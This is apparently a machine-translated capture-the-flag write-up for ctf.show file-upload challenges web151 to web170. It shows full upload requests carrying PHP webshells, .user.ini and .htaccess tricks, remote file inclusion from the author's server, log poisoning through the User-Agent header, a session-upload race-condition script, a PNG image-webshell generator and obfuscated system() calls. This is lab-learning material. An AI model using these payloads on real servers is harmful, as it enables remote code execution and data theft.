web151
Detección de front-end, captura de paquetes y cambio de sufijo.
web152
Pasar directamente
web153
php2, php3, php4, php5, phps, pht, phtm, phtml
se han probado y ninguno de ellos funciona. Por lo tanto, el entorno es nginx, no apache, por lo que .htaccess tampoco funciona. Visite el directorio / upload / y descubra que la página existe. Después de la prueba, /upload/index.php existe, así que pensé en cargar .user.ini
web154
Después de la prueba, no puede haber php en el archivo, y el sufijo se filtra, y también se usa el .user.ini, y el contenido del archivo se filtra usando etiquetas cortas de PHP: <?=
puede:
web155
Lo mismo que arriba.
------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png
GIF89a
<?= eval($_POST[0]);?>
------WebKitFormBoundaryUpTShwppxfZXSbY7--
------WebKitFormBoundaryUpTShwppxfZXSbY7
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
GIF89a
auto_prepend_file="1.feng"
------WebKitFormBoundaryUpTShwppxfZXSbY7--
Además, hay 4 tipos de etiquetas php mencionadas en el WP de Master Yu, y los extractos son los siguientes:
1.
<? echo '123';?>
La premisa es activar el parámetro de configuración short_open_tags = en
2,
<?=(表达式)?> 等价于 <?php echo (表达式)?>
No es necesario abrir la configuración de parámetros
3 、
<% echo '123';%>
La premisa es que el parámetro de configuración asp_tags = on está activado. Después de la prueba, se encuentra que la versión 7.0 y superior no se puede usar después de que se completa la modificación, pero se informa un error 500, pero la versión inferior a 7.0 se puede usar después se modifica la configuración.
4.
<script language=”php”>echo '123'; </script>
No es necesario modificar el conmutador de parámetros, pero solo se puede utilizar en 7.0.
Entonces, si es una versión por debajo de php7, la idea puede desarrollarse más.
web156
Después de la prueba, se encuentra que [y] está filtrado, solo use {} para omitirlo.
web157
El {} y el punto y coma también se filtran sobre la base de lo anterior, así que lea flag.php directamente. Si no hay punto y coma, simplemente tome?> Para cerrarlo al final.
------WebKitFormBoundary949cEK9448VGhzDU
Content-Disposition: form-data; name="file"; filename="1.feng"
Content-Type: image/png
GIF89a
<?= system("cat /var/www/html/fl*")?>
------WebKitFormBoundary949cEK9448VGhzDU--
web158
Lo mismo que arriba
web159
Filtra los paréntesis, solo usa comillas invertidas.
web160
También se otorgan tildes acentuados y espacios para prohibir. Pensando en la inclusión de archivos, intente la inclusión remota de archivos. Ma escribe en su propio servidor y luego incluye de forma remota:
GIF89a
<?=include"http://118.***.***.***/feng"?>
El comando se ejecutó con éxito.
Intente incluir el archivo de registro nuevamente y descubra que el registro también está prohibido, por lo que no funciona.
Pero, de hecho, está bien. Soy demasiado bueno en eso. Puedes hacer esto:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
¡Aprenda a trabajar alrededor!
web161
Parece aumentar el juicio de la imagen, solo agregue el encabezado de la imagen.
web162
Se vuelve a utilizar la inclusión del archivo de sesión anterior. Con referencia específica al uso de session.upload_progress, los archivos contienen una
referencia de script de penetración de deserialización, el maestro de plumas, imitándose a sí mismo, escribió un:
import requests
import threading
url="http://4101ed9a-5734-4c58-a661-5697ba7b2325.chall.ctf.show"
data={
"PHP_SESSION_UPLOAD_PROGRESS":'<?php system("cat /var/www/html/flag.php");?>'
}
files={
"file":"feng.txt"
}
cookies={
"PHPSESSID":"feng"
}
def upload():
global url,data,files,cookies
while 1:
requests.post(url=url,data=data,files=files,cookies=cookies)
def getFlag():
global url
while 1:
r=requests.get(url=url+"/upload/index.php").text
if "flag{" in r or "ctfshow{" in r:
print(r)
t1=threading.Thread(target=upload,args=())
t2=threading.Thread(target=getFlag,args=())
t1.start()
t2.start()
web163
Igual que el anterior, pero la probabilidad de competencia condicional es particularmente baja. . . También puede ser un problema con mi velocidad de Internet.
web164
Estudié el renderizado secundario y también soy muy bueno en él. La primera vez que encontré el renderizado secundario, me referí al artículo recomendado por Master Yu: Autorización de Upload-Labs Pass-16 (bypass de renderizado secundario) Explicación detallada de la
carga caballos de imagen png, el guión es el siguiente:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
Use un script para cambiar la imagen localmente, cárguela y luego descárguela para ejecutar el comando:
vea download.php? Image =, sospecha que el archivo puede contener algo, por lo que puede ejecutar el comando, de lo contrario no lo hará trabaja. Sin embargo, según el código fuente, el archivo contiene:
$file= $_GET['image'];
$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.png' && file_exists("./upload/".strrev($file))){
header('Content-Type:image/png');
include("./upload/".strrev($file));
}else{
echo "图片错误";
}}
web165
Para la representación secundaria de imágenes jpg, puede utilizar el script para procesar imágenes jpg en el artículo de la pregunta anterior, pero necesita encontrar una imagen jpg adecuada. Probé treinta o cuarenta imágenes y no funcionó. Vomité y se rindió.
web166
Cargue el archivo zip, pero sin ninguna detección, cambie directamente el sufijo del caballo de Troya de una frase php a zip, y luego cárguelo.
web167
Consulte httpd, que está relacionado con apache. Mencionar apache pensará en .htaccess, así que cargue .htaccess para analizar .jpg:
AddType application/x-httpd-php .jpg
web168
Después de filtrar eval y system, use comillas invertidas:
<?php echo `cat /var/www/html/*`;?>
Después de echar un vistazo al WP del Maestro Yu, hizo muchas posturas sin pasar por alto y aprendió:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web169
Es tan difícil de pasar. Bp no puede atrapar el paquete. Sigue diciendo que el tipo es incorrecto. Después de zip, finalmente puede atrapar el paquete, pero también dice que el tipo es incorrecto.
Luego cambie el tipo de contenido a image / png para cargar php normalmente, pero hay demasiado filtrado en esta pregunta, porque cargar .user.ini contiene archivos de registro y escribir caballos en el encabezado UA, y luego cargar el archivo php es inútil, solo para cooperar con .user.ini.
------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--
------WebKitFormBoundaryO73DVbSX5G6XGfNN
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png
auto_prepend_file="/var/log/nginx/access.log"
------WebKitFormBoundaryO73DVbSX5G6XGfNN--
Escriba caballo en el encabezado UA y luego ejecute el comando.
web170
Lo mismo que arriba